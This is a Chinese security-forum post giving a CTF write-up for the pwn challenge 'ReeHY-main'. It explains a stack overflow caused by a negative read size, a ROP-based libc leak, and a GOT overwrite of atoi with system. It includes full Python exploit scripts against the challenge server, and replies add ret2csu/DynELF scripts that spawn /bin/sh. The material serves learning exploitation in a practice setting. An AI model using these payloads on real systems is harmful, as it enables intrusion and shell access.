首页
社区
课程
招聘
第四题 ReeHY-main Writeup
2017-6-9 10:32 4758

第四题 ReeHY-main Writeup

2017-6-9 10:32
4758

  这道题可利用的点还蛮多的。常规的方式是利用堆释放的时候没有删除堆指针导致UAF来完成攻击。我使用的是另一个不同的点,具体如下。(第一次做pwn,可能有些错误的地方,望指正)

  该程序对输入的编号都通过itoa函数进行转换,将字符串转为数字,具体实现在sub_4005cc函数中。

  同样,用于创建堆块的“Create Exploit”选项中也调用了该函数,主要是将输入的堆大小(Input size)和堆序号(Input cun)转换为数字。

  当输入一个size时,这个size将作为用于限定输入内容长度的值传递到如下图的位置。

  图中的nbytes就是输入的size。这里就存在一个问题,由于sub_4005cc函数并未对输入的size做限制,如果输入一个负值,那么传递一个负的size给read函数。而其实read函数的第三个参数接收到的是个int类型的值(忽略ida将它强转为unsigned int,其实它是个int值),如果输入的size是个负值,那么到达read时size将变为一个很大的值。这个函数为接收read内容的buf分配了0x80的大小,当size很大时将会导致栈溢出。而由于read的特性,当read函数接收到EOF时将终止接收,不管是不是达到size规定的大小,因此我们可以完全控制写入buf中数据的长度,使用栈溢出覆盖返回地址或覆盖其他变量的形式完成攻击。攻击份两步走,第一步是信息泄露,第二步是getshell。

1.信息泄露

  要想getshell就必须拿到system函数的地址,因此需要通过一些方法泄露出该函数的地址。可惜,这个程序“show exploit”功能被阉割了,只输出“no no no”,因此需要自己想办法调用puts函数输出GOT表中某个函数的地址,然后根据偏移计算system函数的地址。之前提到我们可以实现栈溢出,因此可以修改返回地址,使执行流程转到“show expliot”中的puts函数处,并传递我们需要泄露的函数对应的GOT表位置,进行信息泄露。

  由于程序开了nx保护,因此需要构造ROP链。从代码中我们发现,puts函数所接收的参数是存放在rdi寄存器中的。

  那么ROP链的流程应该是:将需要泄露的函的GOT表位置传递至rdi寄存器-->调用0x400c4d的puts函数-->返回主流程。首先需要找“pop rdi,ret”的地址,发现0x400da3位置处指令为“pop rdi,ret”,可利用。下一步找要泄露的函数的GOT表地址,我使用的是atoi函数,GOT表位置如下。

  然后就是构造ROP,ROP链如下:

0x400da3(“pop rdi,ret”的地址)

0x602058(atoi函数GOT表地址)

0x400c4d(调用puts函数地址)

0(puts函数后有pop指令,这里用0占位保证栈平衡)

0x400c8c(主函数地址)

  那么读入buf的内容就是

2*'b'+126*'a'+l64(0x602058)+l32(0x1)+l32(0x0)+l64(0x0)+l64(0x400da3)+l64(0x602058)+l64(0x400c4d)+l64(0x0)+l64(0x400c8c)

  前面那些内容为了占位凑长度,使写入长度超过112,函数流程进入read到buf的流程,并且写入的内容超过buf的大小导致溢出。这些内容里面有些是为了保证局部变量不被破坏设定的,之后会提到。

  这样就可以调用puts函数,并将atoi函数的GOT表地址传递给他作为参数,泄露出atoi函数在libc中的地址。

  之后通过相应的偏移加减,就能得到system函数在libc中的地址。

2.getshell

 我们在第一步已经获取system的地址了,这时候可以使用该地址替换GOT表中某个函数的地址,然后调用那个函数就等于调用了sytem函数。这里需要一个任意地址写的漏洞。

  还是用的和第一步同样的地方,从上面贴出的代码截图可以看到,read函数后面跟随着memcpy函数,是将buf读到的内容传递给申请的堆中。我们看一下这段代码所在函数的局部变量分布。

  不难发现,buf下方的局部变量分别为堆的地址dest,堆的编号v3,写入堆的内容长度nbtes。同样使用溢出buf的方法,可以控制dest,v3和nbytes。而dest和nbytes又是read下方memcpy函数的参数。

  如此一来就可以往任意地址写任意长度的内容。我们将dest覆盖为atoi函数的GOT表地址,nbytes覆盖为8(system地址的长度),往buf的前八位写入system的地址,通过memcpy函数就可将stoi函数的地址替换为system函数的地址。写入buf的内容如下。

p64(system_addr)+120*'a'+p64(0x602058)+p32(0x2)+p32(0x8)

  我们前面进行信息泄露的时候在写入buf的内容中的一些特定位置用了一些特殊的值,就是为了防止溢出时更改了memcpy的参数,导致出现异常。而这里恰恰相反,通过覆盖memcpy的参数进行任意地址写。

  如此一来GOT表中atoi函数的地址就变为了system函数的地址,之后随便调用任何一处有调用atoi函数的地方(我使用的是主函数)就能getshell。

  完整的python利用代码如下。(第一次搞pwn,pwntools和zio混用略尴尬,凑合看吧)

from zio import *
from pwn import *
import binascii
io=zio(('211.159.216.90',51888),timeout=100000)
#io.gdb_hint()
#io.read_until('break')
 
sc='1'
sc0='-100'
sc1=2*'b'+126*'a'+l64(0x602058)+l32(0x1)+l32(0x0)+l64(0x0)+l64(0x400da3)+l64(0x602058)+l64(0x400c4d)+l64(0x0)+l64(0x400c8c)
#sc1=l64(0x4006d0)+120*'a'+l64(0x602018)+l32(0x1)+l32(0x8)
io.read_until('$')
io.writeline(sc)
io.read_until('$')
io.writeline(sc)
io.read_until('\n')
io.writeline(sc0)
io.read_until('\n')
io.writeline(sc)
io.read_until('\n')
#io.gdb_hint()
io.writeline(sc1)
atoi_addr=u64(io.read(6)+2*'\x00')
libc_base=atoi_addr-0x36740
print hex(libc_base)
system_addr=libc_base+0x41fd0
sc2=p64(system_addr)+120*'a'+p64(0x602058)+p32(0x2)+p32(0x8)
payload='cat flag\0'
io.read_until('$')
io.writeline(sc)
io.read_until('$')
io.writeline(sc)
io.read_until('\n')
io.writeline(sc0)
io.read_until('\n')
io.writeline('2')
io.read_until('\n')
io.writeline(sc2)
io.read_until('$')
#io.gdb_hint()
io.write(payload)
io.readline()



[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞1
打赏
分享
最新回复 (9)
雪    币: 60
活跃值: (79)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
返無歸一 2017-6-9 14:34
2
0
请问你是从哪里得知要填充哪些数据避免memcpy的呢?看了不是很明白
雪    币: 327
活跃值: (143)
能力值: ( LV12,RANK:380 )
在线值:
发帖
回帖
粉丝
hyabcd 2 2017-6-9 14:51
3
0
返無歸一 请问你是从哪里得知要填充哪些数据避免memcpy的呢?看了不是很明白
从局部变量的布局可以看出memcpy的参数dest和nbytes都在buf的下方,溢出时这两个参数都会被修改,如果让这两个参数修改成一些无效的值会崩溃掉,所以就得用一些不影响流程的值,比如用0填充nbytes的位置,这样memcpy复制了0个字节到dest,对程序运行没有任何影响
雪    币: 103
活跃值: (242)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lcys 2017-6-9 15:29
4
0

import pwn
import traceback
e = pwn.ELF('4-ReeHY-main')

write_len  = 0x200
write_got  = e.got["write"]
memcpy_got = e.got["memcpy"]
read_got   = e.got["read"]

gadget1 = 0x00400D9A
gadget2 = 0x00400D80
s = pwn.remote('211.159.216.90', 51888)

r = s.recvuntil('\n')
print (r)
s.send("lcys")
r = s.recvlines(10)
for row in r:
    print(row)

s.send("1")
r = s.recvuntil('\n')
print(r)

vulfun_addr = 0x004009D1
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
    payload  = pwn.p64(part1)   # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret    
    payload += pwn.p64(0x0)     # rbx be 0x0    
    payload += pwn.p64(0x1)     # rbp be 0x1    
    payload += pwn.p64(jmp2)    # r12 jump to    
    payload += pwn.p64(arg3)    # r13 -> rdx    arg3    
    payload += pwn.p64(arg2)    # r14 -> rsi    arg2    
    payload += pwn.p64(arg1)    # r15 -> edi    arg1    
    payload += pwn.p64(part2)   # part2 entry will call [rbx + r12 + 0x8]    
    payload += 'A' * 56         # junk    
    return payload

def leak(address):
    pay = "A" * (0x90 - 8)
    pay += pwn.p64(0x0)
    pay += "A" * 8    
    # call memcpy    
    pay += com_gadget(gadget1, gadget2, memcpy_got, 0x006020AC, 0x00400A9C, 0x1)
    # call write    
    pay += com_gadget(gadget1, gadget2, write_got, 0x1, address, write_len)

    pay += pwn.p64(vulfun_addr)

    paylen   = "-%d" % len(pay)
    pay_head = paylen
    pay_head += "\0" * (0xA - len(paylen))
    pay_head += "1"    
    pay_head += "\0" * 9    
    payload = pay_head + pay
    try:
        s.send(payload)
        print(len(payload))
        r = s.recvuntil("content\n")
        buf = s.recv(write_len)

        data = buf[:write_len]
        pwn.log.info("%#x => %s" % (address, (data or '').encode('hex')))
    except:
        traceback.print_exc()
        print ("%#x" % address)
        exit(0)
    return data

d = pwn.DynELF(leak, elf=e)

system_addr = d.lookup('system', 'libc.so')

print "system_addr=" + hex(system_addr)


bssaddr = 0x00602080
pop_rdi = 0x00400da3
sh_addr = system_addr
sh = "/bin/sh\0"
pay = "A" * (0x90 - 8)
pay += pwn.p64(0x0)
pay += "A" * 8
# call read
pay += com_gadget(gadget1, gadget2, read_got, 0x0, bssaddr, len(sh))

pay += pwn.p64(pop_rdi)
pay += pwn.p64(bssaddr)
pay += pwn.p64(system_addr)

paylen = "-%d" % len(pay)
pay_head = paylen
pay_head += "\0" * (0xA - len(paylen))
pay_head += "1"
pay_head += "\0" * 9
s.send(pay_head + pay)
s.send(sh)

s.interactive()
第一次搞pwn 帮忙看下,leak 执行后每次栈都会增加0x100 最后导致程序挂掉,这样一般怎么处理的呢?

雪    币: 103
活跃值: (242)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lcys 2017-6-9 15:33
5
0
贴代码为啥乱了
雪    币: 103
活跃值: (242)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lcys 2017-6-9 15:34
6
0

帖子可以编辑,修正了下,大神帮看下

雪    币: 60
活跃值: (79)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
返無歸一 2017-6-9 17:12
7
0
hyabcd 从局部变量的布局可以看出memcpy的参数dest和nbytes都在buf的下方,溢出时这两个参数都会被修改,如果让这两个参数修改成一些无效的值会崩溃掉,所以就得用一些不影响流程的值,比如用0填充nb ...
多谢,看到malloc  free就没想到用stack  based  buffer  overflow也行
雪    币: 327
活跃值: (143)
能力值: ( LV12,RANK:380 )
在线值:
发帖
回帖
粉丝
hyabcd 2 2017-6-10 09:42
8
0
lcys 帖子可以编辑,修正了下,大神帮看下
有个疑问,为啥你的rop链最后要加上56个A填充
雪    币: 103
活跃值: (242)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lcys 2017-6-12 10:27
9
0
hyabcd 有个疑问,为啥你的rop链最后要加上56个A填充

56个A填充,主要是为了平衡这个地方


雪    币: 103
活跃值: (242)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lcys 2017-6-14 13:38
10
0

今天再调了下 搞清楚了,leak次数多了会把栈全部破坏掉,stack的底部由系统填写argv/envp信息,然后才开始向下调用main函数

system函数会fork->execve,  execve第三个参数是环境变量(envp),被leak的时候破坏掉了,这个值格式不对的化就会执行失败。


现在不使用system 直接调用execve把第3个参数传null就可以了

搞这个熟悉了下pwn的库 以前没有用过


# -*- coding: utf-8 -*-
import pwn
import traceback
e = pwn.ELF('./4-ReeHY-main')

write_len  = 0x500
write_got  = e.got["write"]
read_got   = e.got["read"]

gadget1 = 0x00400D9
gadget2 = 0x00400D80
g_size = str(0x80000000)

s = pwn.remote('211.159.216.90', 51888)

r = s.recvuntil('\n')
print (r)
s.send("lcys")
r = s.recvlines(10)
for row in r:
    print(row)

s.send("1")
r = s.recvuntil('\n')
print(r)

vulfun_addr = 0x004009D1
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
    payload  = pwn.p64(part1)   # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret    
    payload += pwn.p64(0x0)     # rbx be 0x0    
    payload += pwn.p64(0x1)     # rbp be 0x1    
    payload += pwn.p64(jmp2)    # r12 jump to    
    payload += pwn.p64(arg3)    # r13 -> rdx    arg3    
    payload += pwn.p64(arg2)    # r14 -> rsi    arg2    
    payload += pwn.p64(arg1)    # r15 -> edi    arg1    
    payload += pwn.p64(part2)   # part2 entry will call [rbx + r12 + 0x8]    
    payload += 'A' * 56         # junk    return payload

def leak(address):
    pay  = pwn.p64(0x0)
    pay += "A" * (0x90 - 24)
    pay += pwn.p64(0x006020AC)
    pay += pwn.p32(0x0)
    pay += pwn.p32(0x1)
    pay += "A" * 8    
    # call write    
    pay += com_gadget(gadget1, gadget2, write_got, 0x1, address, write_len)

    pay += pwn.p64(vulfun_addr)

    pay_head = g_size
    pay_head += "1"    
    pay_head += "\0" * 9    
    payload = pay_head + pay
    try:
        s.send(payload)
        print(len(payload))
        r = s.recvuntil("content\n")

        buf = s.recv(write_len)
        data = buf[:write_len]

        pwn.log.info("%#x => %s" % (address, (data or '').encode('hex')))
    except:
        traceback.print_exc()
        print ("%#x" % address)
        exit(0)
    return data

d = pwn.DynELF(leak, elf=e)

# system_addr = d.lookup("__libc_system", "libc")
execve_addr = d.lookup("execve", "libc")

print "execve_addr=" + hex(execve_addr)


bssaddr = 0x00602080
arg1 = bssaddr+0x30
sh = "/bin/sh\x00"
pay = "A" * (0x90 - 8)
pay += pwn.p64(0x0)
pay += "A" * 8
# call read
pay += com_gadget(gadget1, gadget2, read_got, 0x0, bssaddr, 0x8)
# call read
pay += com_gadget(gadget1, gadget2, read_got, 0x0, arg1, len(sh))
# call execve
pay += com_gadget(gadget1, gadget2, bssaddr, arg1, 0x0, 0x0)

pay += pwn.p64(vulfun_addr)

pay_head = g_size
pay_head += "1"
pay_head += "\0" * 9
s.send(pay_head + pay)
s.send(pwn.p64(execve_addr))
s.send(sh)


s.interactive()


游客
登录 | 注册 方可回帖
返回